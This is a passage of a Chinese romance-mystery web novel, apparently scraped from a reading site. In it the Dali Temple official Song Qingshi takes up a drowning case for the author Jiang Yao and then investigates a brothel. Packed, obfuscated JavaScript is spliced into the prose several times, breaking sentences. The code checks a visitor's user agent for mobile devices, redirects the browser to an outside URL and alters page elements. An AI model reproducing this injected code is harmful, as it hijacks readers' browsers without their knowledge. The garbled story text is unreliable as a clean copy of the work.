他不是武功强大到可以藐视一切的谢瑜,目前还不了解遥遥子的身手,没有十足的把握可以战胜花招百出的她。 “去解吧,她若是真的想对我们做些什么,早在白日里的书铺就会动手了。”宋清时微笑道。 段昇不情不愿地拿起桌上的一个茶杯,往江遥腰间穴位投去,力道不重,却刚好可以解开她的穴位。 茶杯掉落的瞬间,江遥抬手接住。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491231|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不愧是堂堂大理寺少卿,身边人才济济啊。” 江遥将茶杯放回桌上,拿起桌上的茶壶,往杯中到了些茶水。 黛紫色的衣裙让她多了些幽丽之感,可眉宇间的那股英气又让人觉得她不只是一个柔弱的女子。 “遥遥子姑娘,宋某倒是很想知道,如此深夜,你故意自投罗网,究竟有什么目的?”宋清时问道。 他虽然还是笑着,可江遥仍能听出他话中的一点点怨气。 他好像在说:设计了这么一大圈,让我加了这么久的班,你最好是有什么要紧的事。 现在是深夜,茶杯里的水早就凉透了,江遥手上使了些内力,将那杯茶加热。 茶杯在她手上,慢慢冒出热气。 她将杯子递到宋清时面前,看向年轻男子有些困倦的俊秀面容,浅笑道:“夜深了,小宋大人看来困倦得紧,不妨喝些浓茶提提神。” 宋清时不置可否,眉梢轻挑。 江遥握着手中的茶,继续补充道:“我只要小宋大人帮我查清一桩命案,还吾友一个真相,待真相水落石出,我任凭大人处置。” 她直直地望着他的眼睛,眼中似有水雾,不知是因为茶水的热气熏的,还是因为别的什么。 “这听上去像是桩交易,可如今你已经落在我手里,似乎没有资格再要求我做什么。”宋清时轻嗤了一声,漫不经心的目光打量着江遥。 江遥伸手擦了下眼睛,很执拗地把话又重复了一遍:“我真的,只是想要一个真相。” 支摘窗外风声依旧萧萧,可是却并不猛烈,只把池塘吹得泛起点点涟漪,廊下的铜铃被吹得响了几声,声音清脆。 茶杯泛着最后的热气,从窗外吹进来的那股风将年轻女子垂着的那只手的衣袖吹起,露出她攥得泛白的指节。 宋清时瞥见了,微微叹了口气,心终究还是软了一下,接过了她手中的茶。 说实话,这个理由其实并不能打动他,但眼前这个女子看上去莫名的执着,若是不同意,今晚不知道还要折腾多久。 “我帮你,于我又有什么好处呢?” 大理寺职责只在审理京师要案,其余案子自有各级地方官员处理,若有疑点,也该按规矩上报大理寺复核才是。 这京都那么大,若是每个有冤情的人都来找他,他帮得过来吗? “如果说,我的这桩案件若是不解决,就可能会引发京都动荡呢?”江遥抿唇道。 虽然她嘴上对蓝雁说着没有制定攻略宋清时的计划,但想要接近一个人,总是要讲究些方式方法。 宋清时这个人,说是天之骄子也不为过。 家世、地位、财富,这几样人人渴望的东西,他却是一样也不缺,还拥有着让人难以企及的天赋和能力,几乎没经历过什么挫折。 在原书中,他更是一路高升至参知政事,成为继乌雅朝以来景国最年轻的宰辅。 也许是因为得到的太轻易,他这个人对什么都不太在意。 但好在基本的责任感他还是有的。 在原剧情中,就是因为负责督办这起案件的京都府判官没有察觉到案子的诡异之处,没有及时上报,这才导致宋清时在后续的一桩连环杀人案上多费了许多时间才发现关键证据。 江遥选择这个理由来接近他,除了想帮他尽快破案以外,也是真心地不想让一个女子就这样不明不白地死去。 果然,听了江遥的话,宋清时凝着眉笑了笑,好像有了些兴趣。 他随手拉过一旁的梨花木椅子坐下,淡声道:“愿闻其详。” 23. 散漫傲娇大理寺少卿3 江遥所说的这个案子的主人公名唤绿漪,是京都最大的酒楼丰乐楼弹琴的乐师,五日前的一个早上,她被人发现溺死在了河边。 她的四肢已经泡的肿胀,浑身被水泡得糟烂,连脸部特征都不是很明晰,若不是酒楼里有熟悉她的几个乐师认出了她手背上的胎记,恐怕都无人知晓这具尸体竟然是曾经那位弹得一手好长琴的绿漪。 “京都府判官说,绿漪姐姐身上找不到任何受伤的痕迹,多半是喝了酒,自己不当心掉进河里的。绿漪姐姐虽然素日里爱饮酒,但当晚若是有演出,是从来不肯饮酒的。她很爱弹琴,很爱乐曲,不会允许任何事情玷污这件事的。” “小宋大人,你不觉得这件事太离谱了吗,一个好端端的人怎么会无缘无故的就落了水?若是此事不查清楚,以后怕是会有更多无辜的人莫名死去。” 刚开始叙述的时候,江遥尚能保持平静,可越说下去,她的语速就越快,情绪也有些激动。 她紧紧抓着手中的剑,在清澈明亮的眼眸中盈满水汽的瞬间低下头去,不愿让别人看到自己脆弱的一面。 段昇忙安抚道:“帽……,不,遥遥子姑娘,你先冷静一下。这个案子我们已经知道了,若是真的有人蓄意谋害,那大理寺定会为绿漪姑娘主持公道的。” 宋清时的神情也从最初的漫不经心变得专注,他的食指无意识轻轻敲击了一下桌面,眉眼一瞬变得冷厉。 又是莫名身死? 这与几日前的那件没有头绪的案子是否存在什么联系呢?这个遥遥子说得对,绿漪的死或许真的没有那么简单。 他按了按跳动的太阳穴,看向低着头、只露出一段雪白脖颈的女子,她的肩膀微微颤抖着,看起来有些难过,这样的她与白日行骗时古灵精怪的她实在差别太大。 他无声地叹了口气,拿过放在一旁的椎帽,递过去时语气还是带着惯有的懒散: “你这案子,我接了。” “你接了就好。”方才还状似低落的年轻女子忽然抬头,她脸上哪有半点泪痕,反而笑得眉眼弯弯,像只坏心眼的小狐狸。 江遥伸手接过对方递过来的椎帽,指尖在宋清时掌心带起一阵轻快的风:“这下好了,省得我还要再费心想别的法子让你接受。” 意识到自己被人骗了的宋清时轻哼一声。 觉得自己刚才的那点同情心完全是给错人了。 他突然想起前任上司吴永廉说的话,那时对方喝得醉醺醺的,抓着他的肩膀非要给他讲什么为官之道: “霜序老弟,我跟你讲,这为官者切忌同情心泛滥,否则若是遇上顺杆往上爬的厚脸皮你就完了。” 当时的宋清时对这个酒囊饭袋说的话嗤之以鼻,如今回想起来,倒真是有点道理。 眼前这位哪里是给根杆就往上爬的人。 她是没有杆也要凭空造梯子硬爬的人。 不仅如此,爬上来之后还要踩在你的肩膀上一脸无辜地笑。 一旁的段昇凑近他,小声耳语道:“大人,你好像中了美人计了。” 宋清时眼风都懒得给他:“闭嘴。” “多谢夸奖。” 已经带好椎帽的江遥莞尔一笑,即使只看得见唇角,这笑意也明灿得晃眼,看得出对方心情不错: “时候不早了,我就不打扰二位大人了。明日一早,大理寺见。” 话音还未完全消散,她人就已如轻燕一般跃出窗子,身影很快融入夜色,消失不见。 宋清时望着还在颤动的窗户,慢悠悠地啧了一声:“放着好好的门不走,非要走窗户,故弄玄虚。” 嗓音里浸着几分倦怠与无可奈何,还有一丝浅浅的气恼。 段昇偷偷看了眼自家大人,心下诧异。 这还是他第一次见小宋大人表现出明显的生气,虽然只有一点。 要知道他们小宋大人,无论什么时候都是一副漫不经心的样子,哪怕是生气,一般也都是笑着的。 这位遥遥子能把他气成这样,也是个奇女子啊。 几月前,小宋大人刚调来大理寺时,人们还不清楚他的脾气秉性,觉得他年纪尚轻,会是个好拿捏的官员。 某次公堂之上,有位妇人认为判罚有失公允,不仅指着小宋大人的鼻子大骂他是昏官,还把宋家祖宗满堂骂了个遍,那话语十分粗鄙,连他也差点听不下去。 而被骂的小宋大人本人却只是在退堂后把她扶起来,懒洋洋地说:“骂够了吗,我现在要去东厅看卷宗了,您要是没骂够可以移步东厅继续骂。” 他轻描淡写得就像那人骂得不是他一样。 大理寺卿李风对此评价道:“我原以为霜序少年成名,会颇有些少年轻狂,不想他竟然能忍常人所不能忍,如此看来,他日后定可位极人臣。” 实则段昇以为,他们小宋大人可从来不是忍气吞声的人,他真的只是不在意而已。 想到这里的段昇忍不住挑了挑眉。 这么看的话,他们大人还挺在意这个遥遥子姑娘的。 * 翌日清晨,江遥来大理寺的时候,宋清时还在看卷宗。他指尖把玩着一枚铜钱,整个人陷在宽大的黄花梨木椅里,背脊松泛地倚着,垂落的袍角不经意压住了地上几份散落的卷宗,手边还有一杯已经放凉的清茶。 江遥还是第一次见他穿官服的样子,正气凛然的红色官服硬是被他穿出了几分不羁。 虽然散慢,却自有一种清疏的感觉。 未等江遥走近,他便懒声道:“遥遥子姑娘这是求人办事的态度吗,来得这么晚?” “小宋大人怎么知道是我?”江遥有点疑惑,明明自己进门的时候宋清时这家伙连眼皮都没抬一下,怎么就这么肯定来的人是自己。 宋清时翻过一页卷宗,嘴角挂着点笑,顺口回她:“大概因为,遥遥子姑娘还是如此地不走寻常路吧。” 在这人人都正常到有些呆板无趣的大理寺,也只有她会这样了。明明大门开着,却还是喜欢翻墙,人还未进来,就已经先听到她飞檐走壁的声音了。若不是他事先打过招呼,江遥恐怕要被大理寺的衙役们当成盗贼抓起来。 江遥干笑道:“不好意思啊,半夜割人头发的时候翻墙翻习惯了,看见贵气的高门大户就想用轻功,还没习惯走门。” 她晃了晃手中拿着的漆木食盒,这才回答宋清时刚开始问的那个问题:“我之所以来晚,是去买糕点了。既是求人办事,还不得贿赂一下你们吗?” “可是拾味轩的栗子糕,那儿的糕点我想吃很久了,可是总也排不上,遥遥子姑娘真是有心了。” 段昇不知道从哪里冒了出来,他今日起晚了,没来得及吃早膳,看见吃的就两眼放光。 江遥打开食盒,将里面的东西一一拿出来,声音温和:“正是。除了栗子糕,我还买了桂花酿,这家铺子的桂花酿没那么甜,用来解腻正好。” 宋清时刚搁下卷宗,一只纤细的手便托着碟子递到了眼前,碟子上放着还带着热气的栗子糕。 “小宋大人也尝尝?” 他眸光微抬。今日的江遥穿着一身藕荷紫的束袖裙裳,高马尾用灰紫色发带紧紧束起来,眉如远山含黛,眼似寒星映水。 她似乎格外钟情紫色,也很爱笑。 这个念头来得很突兀也很快,突兀到宋清时本人都不知道自己为什么会有这样的念头。 宋清时几不可察地蹙了下眉。 “哎呀,看来今天的我格外明艳照人,把小宋大人都看呆了。” “……” 宋清时心中的那点异样成功被年轻女子带着骄傲的语气打断。 他咳嗽了一声,差点被自己的口水呛死。 这还是他第一次听到如此直白地夸耀自己的话。 宋清时下意识地轻哼一声:“我在看世上怎么会有人脸皮这么厚。” 可是耳尖却以肉眼可见的速度变红了。 江遥的目光越来越揶揄。 宋清时认命地拿起来碟中的糕点,心不在焉地咬了口,果然在入口的瞬间就感觉到一股栗子的清甜,口感绵密又甜而不腻,确实是味道很不错的糕点。 “味道不错吧?”江遥手撑着头,眼睛亮晶晶地看着他。 “难吃。”宋清时面无表情地给出两个字。 昨夜吃的亏还犹在眼前,他总觉得说好吃的话,对方会更嚣张。 很好,宋清时,你居然敢两次挑衅我,以后有你哭的。 江遥拿过装着桂花酿的白瓷瓶,递给他,表情温婉得体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491232|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看上去很好脾气的样子:“那您再尝尝这个呢?”转身时,鞋却“不小心”轻轻踩过他垂在地上的官服袍角,在上面留下个淡灰色的印子。 宋清时低头看了一眼,唇角勾起一抹了然的笑,慢悠悠道:“你故意的。”语气非常肯定。 江遥眉眼一弯,表情要多无辜有多无辜:“小宋大人,在你眼中,我就是这样的人吗?” “大人,你别唔识……豪歹。”段昇显然已经被江遥用一盘栗子糕收买了,听到两人的谈话后,即便他嘴里已经被栗子糕塞得满满当当的,还要坚持为江遥或者说是栗子糕正名,一个“不识好歹”被他说得奇奇怪怪。 他努力嚼啊嚼,终于把嘴里的东西咽下去后,痛心疾首道:“你知道这拾味轩的栗子糕有多难买吗,千金难求啊!昨儿个礼部办文人诗会,也是用的这家的栗子糕呢。” “哦,那又怎样?”宋清时眼皮一掀,淡淡道。 栗子糕守护者段昇被暴殄天物的宋清时气得跳脚,却又碍于对方是自己的上司而不敢再多说些什么。 段昇:有时候真的会疑惑,小宋大人这样的人出门为什么不会被打?难道是因为那张好看的脸吗? 江遥总觉得再不说点什么,这位小段大人就要被气吐血了。于是她小声对段昇道:“口是心非的人是这样的。照小宋大人的性子,要是真不喜欢吃,肯定在第一口就吐了。” “有道理有道理,听君一席话,胜读十年书啊。” 段昇云开雾散,瞬间觉得自己已经和江遥成为惺惺相惜的战友了。 古有桃园三结义,今有栗子糕守护者同盟! “重新认识一下,遥遥子姑娘,在下段昇,字景初,不知道能否请教姑娘真名?”他段昇,今日必须知道同盟的尊姓大名。 江遥笑了笑,道:“我是跟我师父长大的,只记得自己名字里有个遥字,师兄师姐们便都叫我阿遥,你们也这样叫我就行。” 宋清时蓦地抬了下眼,眼中有轻微的波动。他轻声问道:“投我以木桃,报之以琼瑶的那个‘瑶’吗?”尾音甚至有一点不稳。 “不,是山遥路远的遥。”江遥平静道。 宋清时在心里轻叹了口气。 她竟然真的和谢知白的那位心上人是同样的名字。 同样的名字,同样不幸的身世,可是性格却是迥然不同。 一个聪慧安静,一个明媚狡黠。 幸好那晚谢瑜没有听到她的名字,不然回去之后怕又是一阵心伤。 段昇显然也没有想到江遥这样活泼的姑娘会有这样的身世,一时不知道该如何是好。继续聊下去吧,自己好像在往人家伤口上撒盐;重新换个话题吧,又觉得有点刻意。 东厅里边的两人因为江遥的话各怀心思,表情都有些奇怪。 江遥对着他们二人左看右看,忽然就笑了。 “二位大人不要用这种表情看我啊,我现在真的过得很好。我虽然不记得父母姓甚名谁,可师父和师兄师姐们从小就很照顾我,他们就是我的家人。绿漪姐姐生前就待我如同亲妹妹一般。” “况且,托小宋大人买的那一百本话本的福,本就吃喝不愁的遥遥子,如今财富更加泛滥,花都花不完呢。” 她小小地开了个玩笑,试图缓和下气氛。 段昇听了这话,赶紧接茬道:“啊对对,瞧我都忘了你可是遥遥子啊。阿遥姑娘,幸会幸会。” 宋清时也一改之前的散漫,认真道:“幸会,阿遥姑娘。” 方此时,门外突然传来一阵急促的脚步声。 因为宋清时清晨刚吩咐过,若再有命案,无需通报,即可进来。 所以那名衙役径直推门而入,他正欲开口,却发现屋中还有一个陌生的女子。 他略显犹豫地看向宋清时。 宋清时正色道:“无碍,她可以听。” 衙役这才把手里的文书交给宋清时,语气十分严肃:“醉春楼,发现男尸一具。这是推吏刚写好的初步卷宗。” 在宋清时简单翻阅卷宗的时候,他又简单向江遥和段昇两人交代了下情况:“经查明,是吏部从五品官员高慕贤。听他的妻子说,高大人昨夜参加完文人集会便一直没有归家,尸体是今日晨起醉红楼的老板娘发现的。” 24. 散漫倦怠大理寺少卿4 衙役走后,年轻男子那双对什么都提不起兴趣的茶色眼睛终于露出了几分认真。指尖一直转着的那枚铜钱“嗒”地一声掉在了桌上。 宋清时重新拿起先前搁置在手边的两份卷宗,与新卷宗比对。 不过短短半月,京中竟连发三起命案。从酒楼琴师、吏部官员到户部尚书,若真是同一个凶手作案,就必定会有共同点。 到底之前有什么地方疏忽了呢? 他一只手指抵着太阳穴,通宵一夜后的疲惫在此时显现出来,段昇和江遥两人却还在他的耳边叽叽喳喳,就像谢瑜少时曾经养的那只鸟的叫声一样,搅得他没法思考。 “这个高慕贤,从前便爱去些秦楼楚馆,嘴上总念叨着什么‘牡丹花下死,做鬼也风流’,如今可好,死在自己最喜欢的去处,怎么不算是一种求仁得仁。” 段昇完全没注意到自家大人的烦躁,正专注地同江遥讲些闲言碎语。 江遥手扶着额头低笑,她觉得段昇的脸上明明白白写着几个字:高慕贤死得好! 段昇生怕江遥对高慕贤抱有一丝同情心:“阿遥姑娘,我跟你说,我们京中同僚都知道这个高慕贤在自己妻子怀胎七个月时,还在外面拈花惹草,甚至在同人厮混时直接被大着肚子的妻子抓了个现行,气得自家妻子当街早产,你说这种人该不该死?” 江遥故作惊讶状:“他竟然是这种人吗?礼部怎么会请这种人去诗会?” “他就是这种人!”段昇把手中装着桂花酿的瓷瓶重重一放,很是义愤填膺,“我最不喜欢这种人了,仗着自己肚子里有点墨水,便自视清高,实则在写文章一事上,比不上他的同窗陆淮舟陆大人一星半点。” 段昇父亲曾为吏部侍郎,论起吏部官员的事,他自然是比别人更清楚些。 段昇正要继续同江遥讲述高慕贤的腌臜事,结果对面的江遥不知道从哪里掏出一个本子,很是自然地拿过宋清时桌上笔架的狼毫笔,沾了墨,在本子上写写画画。 见段昇忽然止了话音,她疑惑地抬起头:“继续说呀,小段大人?” 满脸求知若渴,就差把想把这件事写进话本里的心思印在脸上了。 京都著名话本大家居然要把他讲的事情写进话本! 段昇觉得自己肩负重任,表情都严肃了几分,说得更起劲了。 两人一个说,一个记。聊着聊着,不知怎的忽然就变成了互相吹捧。 江遥:“妙啊妙啊,大人这一番推演,比我笔下最得意的推演桥段还要精彩万分。” 段昇:“岂敢岂敢,阿遥姑娘的话本才是草蛇灰线、伏脉千里,遥遥子若是入刑狱这行,哪里还有我的用武之地。” 一旁看卷宗的宋清时觉得自己的太阳穴越来越胀痛,耳边像有十几只蝉在不停地鸣叫。 他嫌弃地看了眼面前热络得就差结为异父异母的亲姐弟的两人,表情有些困惑。 从前怎么没觉得段昇话这么多? 宋清时疲惫地捏了捏鼻骨,心里暗想,看来他还是太低估江遥的杀伤力了,再聊下去,怕是连堂上的惊堂木都会说话了。 眼看面前的两个人还没有停下的意思,宋清时终于打断道:“段景初,你很闲么?” “咳咳。” 刚喝了口茶润喉的段昇差点被呛死,听见宋清时叫他的小字,忙站了起来,再不敢多说一句。 世界终于重回寂静。院中飞鸟扇动翅膀的声音和手中案卷的窸窣声终于传到了宋清时的耳中,如闻天籁。 宋清时心情平静了些,表情也舒展了起来。 他淡声问段昇:“我记得你方才说昨日礼部办的文人诗会也是用的拾味轩的糕点?” 他方才虽然在看卷宗,却还是从两人七零八碎的谈话中捕捉到了一些关键字眼。 “对哇。”段昇一边回答,一边又要去拿手边没吃完的栗子糕。 宋清时瞥见了,唇角轻扯。 他微微停顿,特意等对方咬了一口才不疾不徐地说道:“绿漪的卷宗上写着,她演奏琵琶前也吃了糕点,你猜,这糕点是哪家的?” 刚咬了一大口栗子糕的段昇闻言好像意识到了什么,表情微变,“啪”地一声将糕点丢回碟子里,惊恐道:“不会也是拾味轩的吧,我要中毒了吗?” 光是这么想着,他嘴里的糕点就已经变得索然无味,吐也不是、咽也不是。 偏生宋清时还补刀:“嗯对,你吃得最多,怕是要先走一步。” 段昇:“不要啊,我还年轻。” 江遥忍笑道:“放心,小段大人,你肯定会没事的。拾味轩的糕点每天有那么多人买,若是每一份糕点都下毒,那京中每天不知道要出多少桩命案呢。” 段昇点了点头,他情绪虽然有被江遥安慰到,但表情还是透露着点哀怨,像一摊水一样软趴趴地趴在桌子上装死。 宋清时抬手就在他头上敲了一下。 段昇捂着头,被敲得嗷了一声。 “好了,该办正事了,赶紧把桌上的新卷宗看完,晚上随我去趟醉春楼。” 宋清时将手中的卷宗塞到段昇手里,起身便朝门外走去。 走到门槛处时,他脚步微顿,像是忽然想到些什么,侧过半张脸看向身后咬着笔杆的江遥。晨光映在他的侧脸,照出一点若有似无的笑意。 这表情很让江遥怀疑他是不是又有什么坏心眼。 不想下一秒,年轻男子开口却是:“不知可否……请阿遥姑娘也随我们走一遭醉春楼?” 江遥还没有回答,段昇听完这话却是立马从哀怨状里直起身,正经起来:“大人,醉春楼那种地方,让阿遥姑娘去是不是……” 他的话虽然没有说完,但想法已经表现在了脸上:这天地下,哪有大理寺官员带着姑娘家出入烟花之地的? “这件事非她不可。” 宋清时已经转过身,绯色官服的袖口被秋风微微吹动,衬得他精致的眉眼在晨光里愈发清晰。 他的目光仍旧落在江遥那里,轻提了提唇角:“你怎么想呢,阿遥姑娘,愿不愿意随我们一起去找出真相?” 江遥曾经不止一次地感叹过,有些人就是这样,你看他一眼,就会莫名地被他蛊惑。 大理寺少卿公然与女子入烟花之地,这听起来有些惊世骇俗的事情,落在宋清时的口中,听起来就是一件稀松平常的小事。 此刻,他站在她的面前,笑容认真肆意,眼睛里是明晃晃的笃定。 他好像很确定自己会答应他一样。 沉吟数秒后,江遥展颜一笑:“乐意之至。” 好吧,事实上,她确实很需要一个接近他的机会。 * 华灯初上,夜晚的醉春楼一如往日般热闹,虽说白日里刚在楼里发现了尸体,可来醉春楼里的人大多只为寻欢作乐,又有谁会在意那些呢。 此刻的醉春楼内,脂粉香与酒香、果香混杂在一起,充斥着金钱与欢愉交织的糜烂之感。 众人的目光都集中在中央的宽阔高台上。 高台之上,七八位妙龄舞姬正随着乐声翩然起舞,领舞的舞姬穿着一身近乎透明的胭脂色纱衣,跳起舞来似柔弱无骨,水袖挥洒的瞬间勾起一片春心,每一次眼波流转都会引得喝彩声与掌声雷动。 台侧,仍有十来个舞姬在一旁等候。一身烟紫色锦缎舞衣的江遥也混于其中。 她面上覆着一层同色轻纱,原本英气上扬的眉毛被勾勒成了温婉的柳叶眉,眼尾用了紫粉和银粉稍稍晕染,额间还缀着一颗水滴形的细小紫宝石,看上去真的如同一位异域舞姬一般。 今晚是醉春楼的老板娘柳娘新训练的舞姬初次登台的日子。听闻这些舞姬都是从专生美人的月初国买回来的,每一个都是姿容绝色、腰肢柔软。 故而,今日的客人比往日更多,楼上楼下座无虚席,红毯铺就的高台两旁更是围满了人。 江遥在开场之前敲晕了一位替补舞姬,换上这身衣裳,混进了舞姬的队列里在台上跳了支舞,还没来得及与宋清时和段昇碰头,此刻也不知道那二人隐在哪片光影里。 她眸光流转,在满堂喧嚣中不断搜寻,最后将目光定格在二楼的一个雅间,外头的珠帘半挡着,那人又坐在暗处,可江遥还是一眼就注意到了。 如果说谢瑜的气质是内敛的,那么宋清时的气质就是张扬的。出生在钟鸣鼎食之家,自身的天赋又极高,尽管平日里是一副散漫倦怠的样子,但他身上的那种骄傲几乎是刻进骨子里的,藏也藏不住。 更何况,他的容貌太出挑也太扎眼了,那样的眉眼,那样的姿态,落在这纸醉金迷的人堆里,就好像一片闲散的云落进了金粉堆,很难不让人注意到。 对方好像很早就看见了她,在她的视线投过来时,还挑了挑眉。他身边的段昇也挥了挥手。 方此时,台上的一支舞结束。舞姬们娇喘微微,眸中带着潋滟水光,目光仅虚虚扫过人群,便引起一片惊叹。 “再来一支!”人群中不知是谁,喊了一声,本来寂静的人群就像是被点燃了,不断高喊着“再跳一支舞。” 喧嚣最鼎沸之时,柳娘不慌不忙地从内室中走出来,脸上带着恰到好处的笑容。 她轻拍了几下手,脸带面纱、穿着轻罗彩裙的姑娘们便在她身边站成了几排,个个媚眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原本快要结束的比拼,因着这一句加价,变得更加激烈,后来的数目越加越大,报出来的价格也越来越令人震惊。 江遥原本混在后排舞姬里,还在饶有兴致地看热闹。她自然是不会跳舞的,想着横竖是大家在一起跳,她又是个替补舞姬,跳错几个拍子应该不会太突兀。 而且刚才她已经随着众人跳了一曲,好像也没什么人发现她是假冒的,心中有几分信心。 她还很有心情地感叹着这些有钱人的豪横,和蓝雁吐槽道:“我以为只有宋清时这个家伙才会这么无聊,花这么多钱买一壶酒。” 蓝雁也啧啧感叹:“这定价可比你的书黑多了。” 江遥弯了弯唇,还想再说些什么,却忽然在报价的一众声音中捕捉到一道十分熟悉的嗓音: “我家公子,买一百壶!” 江遥心里一凛。 满堂的人听见一百壶的报价也有一刹那的死寂,然后是如潮水般散开的哗然。 一百壶“醉春”,那可是三千两金! 有这些钱都可以在京中的繁华地段置一座三进宅子了。 人们忍不住抬头向着段昇身后那方垂着珠帘的雅间望去,想看看究竟是哪家的公子哥儿敢这么挥金如土。 江遥也朝二楼看了一眼,一种不祥的预感浮上心间。 不是说好她混进舞姬里打探消息,之后再找机会同他们汇合吗?怎么还有买酒的事啊! 柳娘听到这个数,唇边的笑意更深了,柔声道:“还有比一百壶更高的吗?” 满堂寂静,无人再敢应声。 “好,一百壶成交。不知贵公子想让哪位姑娘跳一曲?” 段昇自二楼凭栏处翻身跃下,衣角在空中划出一道弧线,稳稳落在台侧,他顺手扯过身旁的一把圈椅坐了下来。 段昇像模像样地将身前的舞姬们打量了一圈,然后摸了摸下巴,朗声道:“我家公子说了,只想看这位姑娘跳舞。” 他的手似是随意一指,可偏偏越过了一众锦绣裙裳,停在一抹烟紫色身影上。 赫然是江遥的方向。 江遥:“……” 还真的是我。 她脑中空白了一瞬,又忍不住抬眼望向二楼的雅间,原本半卷的珠帘已经全落了下来,看不见那人的一点表情,但江遥依稀可以想象出某人懒散勾起唇角的样子。 这厮一定在楼上等着看她的笑话。 想到这里,江遥的笑颜都差点维持不住。 宋清时,你等着。 25. 散漫傲娇大理寺少卿5 两刻钟前。 十余位妙龄舞姬伴随着悠扬的乐声,翩翩起舞。 二楼,一间雅室外,有人凭栏而望,当那抹烟紫色的身影出现在视线当中时,宋清时几不可闻地笑了一下。 人群中的江遥已经换上了舞姬的装扮,她脸覆轻纱,原本英气的眉眼被化得柔美婉约,头发也被编成数股细辫披在脑后,额间还缀着宝石,完全是与平日截然不同的风情。 只是她那双眼睛,眼神清亮又锐利,在起舞时完全没有其他舞姬的眼中的讨好与婉媚。 好好的一首缠绵悱恻的曲子,硬是被她跳出了舞刀弄枪的感觉,舞步更是频频出错,但俗话说,混水可摸鱼,由于人数比较多,江遥混迹在一众舞姬里,并不十分显眼。 “阿遥姑娘这鼓点好像就没有踩对过。”段昇欣赏了一番江遥的舞姿后,给出了中肯的评价。 宋清时慢声道:“她毕竟不是个真正的舞姬,让她跳舞,也算是难为她了。”声音里仍带着点点笑意。 不多时,一舞结束。另有七八个更加婉媚的舞姬走上台前,彻底将原本热闹的场合点燃,一阵阵叫好声从人群中传出,那些锦衣华服的人们眼中就像是燃着一团不会熄灭的火,也不知是因为酒气上头,还是因为难以排遣的欲望。 新上场的这些舞姬,每一个都舞姿流畅,媚眼如丝。 可宋清时却觉得百无聊赖,远不如上一支舞有意思得多。 他不喜欢空气中弥漫的脂粉味,嫌恶地甩了甩衣袖。他想,可惜了,这身衣服,他原本还挺喜欢的,就这么脏了。 宋清时有些烦躁地走进了雅间之中。这醉春楼的二楼,最出彩的设置就在于一排排雅间。 居于雅间之内,可以将一楼的旖旎风光尽收眼底,又有一道珠帘隔着,室外人难以透过珠帘看清雅间里面客人的面容。 珠帘半卷的房间,一名清丽的歌姬抱着琵琶,朱唇轻启,唱着婉转旖旎的小调。 在两人进门的刹那,歌姬轻轻投来一个眼神,配上她口中的那句“兰麝细香闻喘息,绮罗纤缕见肌肤,此时还恨薄情无?”,当真称得上是情意绵绵。 若是来醉春楼寻欢作乐的客人被她瞧上这么一眼,怕是连骨头都酥了,恨不得立马将人拉到怀里云雨一翻。 可惜,这位歌姬碰上的是宋清时和段昇。 两个人完全视若无睹,段昇甚至还有些不耐烦的感觉,若不是为了查案,他才不喜欢听什么琵琶。 一曲结束,歌姬轻轻拨弄着琴弦,声音像是在江南烟雨里浸过:“二位,可喜欢这曲子?” 宋清时懒洋洋地拍了几下手,慢条斯理道:“早就听闻醉春楼的莹儿姑娘一曲歌声若春醪,未饮先醉,今日一见,果真名不虚传。” “那不过是客人们的谬赞。” 莹儿羞涩一笑,心里却有些忐忑。不知为何,她总觉得眼前这个姿容出众的男人虽然笑着,看上去十分随和,可莹儿在醉春楼见过的人太多了,一眼就看出了他身上那种傲气。 那是一种睥睨众生的、平等地厌倦一切的傲慢。 不是她这种人可以接近得了的。 果不其然,下一秒,年轻男子漫不经心地开口,语带转折:“听上去,莹儿姑娘在醉春楼见过不少人啊,那不知道,你认不认识他呢?” 宋清时抬了抬手,段昇立刻会意,将随身带着的画轴展开在莹儿面前。 莹儿在看清画中人的五官之后,花容失色,连带着甜丝丝的嗓音里都挂了几分慌张:“你们是官府的人?” 她顿了顿,又很快调整好表情,“白日里不都问过了吗,高慕贤高大人昨夜不过就是听我唱了首曲儿,然后我便出去了,我根本不知道他是怎么死的啊?” “哦?” 年轻男子的目光并不锐利,甚至有些散淡,只是莹儿却仍然感觉,被这样的眼神看着,心中所有潜藏的秘密都无所遁形。 她低下头去,不愿再看这双眼睛。 “抬头。” 莹儿不情不愿地抬起头来,抱着琵琶的手微微颤抖。 宋清时随意倚着门边的梨花木椅子,一手拿着把折扇,另一只手的指尖则有一搭没一搭地敲着扶手。 他笑了笑:“需要我提醒你一下吗,那晚你有没有给他喂什么东西?” 从卷宗上看,被杀的三个人唯一的共同点就是都吃了拾味轩的糕点,但自己和江遥等人也吃了这种糕点,却并没有什么事情发生,所以这几人如果是被毒杀,宋清时推测他们一定还吃了些别的东西。 他问得轻描淡写,可身上那股常年审讯带来的气场就已经让他不怒自威,莹儿擦了擦额间虚汗,坦白道:“我,我哄着他买了壶‘醉春’。” 醉春? 